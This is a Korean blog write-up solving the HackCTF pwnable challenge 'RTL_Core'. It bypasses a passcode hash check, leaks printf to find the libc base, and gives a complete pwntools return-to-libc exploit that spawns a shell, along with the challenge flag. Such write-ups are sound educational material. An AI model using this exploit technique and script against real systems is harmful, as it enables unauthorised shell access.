[Pwnable] RTL_Core
Wargame/HackCTF

[Pwnable] RTL_Core

250점 첫 문제다 :D 바로 풀어보자

 

mitigation

NX bit만 enabled 되어 있고

Partial RELRO가 걸려있다.

 

실행시키면 패스코드를 입력하라는 문자열과 함께

아무 값이나 입력하면 실패! 라고 알려준다

 

아이다로 열어보자

main

입력값 s가 인자로 들어가는 check_passcode의 리턴값이

hashcode와 같게 되면 core 함수가 실행된다.

hashcode

hashcode는 0x0C0D9B0A7 (3235492007)이다.

 

check_passcode를 살펴보자

check_passcode()

반복문을 살펴보면


v2 += 0 + a1

v2 += 4 + a1

v2 += 8 + a1

v2 += 12 + a1

v2 += 16 + a1


그 후 v2를 리턴해준다.

 

그렇다면 v2의 값이 hashcode (3235492007)와 같아져야 한다.

 

그럼 hashcode int 값을 5개의 숫자의 값을 더하면 나올 수 있도록 5개의 int 값을 만들자.

 


647098401

647098401

647098401

647098401

647098401 + 2


위 값을 패킹해서 보내주면 hashcode와 같아질 수 있을 것이다.

 

#-*- coding:utf-8 -*-

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3015)

#p = process("./rtlcore")

e = ELF("./libc.so.6")

payload = ""

for i in range(4):
    payload += p32(647098401)

payload += p32(647098403)

p.recvuntil(": ")

p.sendline(payload)

p.interactive()

이런식으로 코드를 작성해주면

core 함수로 들어가면서 한 주소를 준다.

core 함수를 살펴보면

 

우선 아까 출력된 주소는 printf의 주소임을 알 수 있으며

read에서 BOF가 터지는것을 알 수 있다.

 

그러면 이제 익스코드를 구상해볼수 있다.

 

core 함수에서 printf의 주소를 출력해주니

출력되는 printf 주소에서 printf의 offset을 빼주면

libc의 base 주소를 구할 수 있다.

 

libc의 base 주소를 구했다면 system 함수의 주소도 구할 수 있고

"/bin/sh" 문자열의 주소도 구할 수 있을 것이다.

 

익스의 필요한 정보들을 정리해보자

 


1. 출력되는 printf Address를 활용하여 leak 한 후 libc base 주소 구하기

2. libc base 주소를 활용하여서 system 함수 주소 구하기

3. libc base 주소 활용해서 "/bin/sh" 문자열 주소 구하기

4. pr gadget 구하기


e = ELF("./libc.so.6")

p.recvuntil("바로 ")

print_addr = int(p.recv(10), 16)

libc_base = print_addr - e.symbols['printf']

나는 pwntools의 ELF 기능을 활용하여서

printf 주소에서 printf의 offset을 쉽게 뺄 수 있었다.

그럼 libc_base를 구했다.

 

system = libc_base + e.symbols['system']

binsh = libc_base + e.search("/bin/sh").next()

libc base address 주소에서 system offset을 더해주면 system 함수 주소를 구할 수 있다.

또한 pwntools의 기능을 활용하여서 "/bin/sh" 문자열의 주소를 구할 수 있다.

 

ROPgadget으로 pr gadget을 구했다.

 

pr = 0x08048683

 

이제 필요한 정보들은 다 구했으니 최종 익스 코드를 작성해보자

 

#-*- coding:utf-8 -*-

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3015)

#p = process("./rtlcore")

e = ELF("./libc.so.6")

pr = 0x08048683

payload = ""

for i in range(4):
    payload += p32(647098401)

payload += p32(647098403)

p.recvuntil(": ")

p.sendline(payload)

p.recvuntil("바로 ")

print_addr = int(p.recv(10), 16)

libc_base = print_addr - e.symbols['printf']

log.info("libc_base : " + str(hex(libc_base)))

system = libc_base + e.symbols['system']

binsh = libc_base + e.search("/bin/sh").next()

log.info("system_Addr : " + str(hex(system)))

log.info("binsh_addr : " + str(hex(binsh)))

payload = ""

payload += "A" * 62

payload += "B" * 4

payload += p32(system)

payload += p32(pr)

payload += p32(binsh)

p.recvline()

p.sendline(payload)

p.interactive()

이런식으로 pr gadget으로 system 함수의 인자에 binsh문자열을 넣어서

RTL을 진행하였다.

 

FLAG = HackCTF{5ucc355ful_r7lc0r3_f1l3_4cc355}

 

흐어 롸업 써야되는 문제는 많은데

시간이 없다ㅏㅏ

 

오늘도 끄-읕🤗

'Wargame > HackCTF' 카테고리의 다른 글

[Pwnable] SysROP  (0) 2021.03.08
[pwnable] Look at me  (0) 2021.02.22
[Pwnable] Random Key  (0) 2021.02.06
[Pwnalbe] 1996  (0) 2021.02.06
[Reversing] Handray  (0) 2021.02.04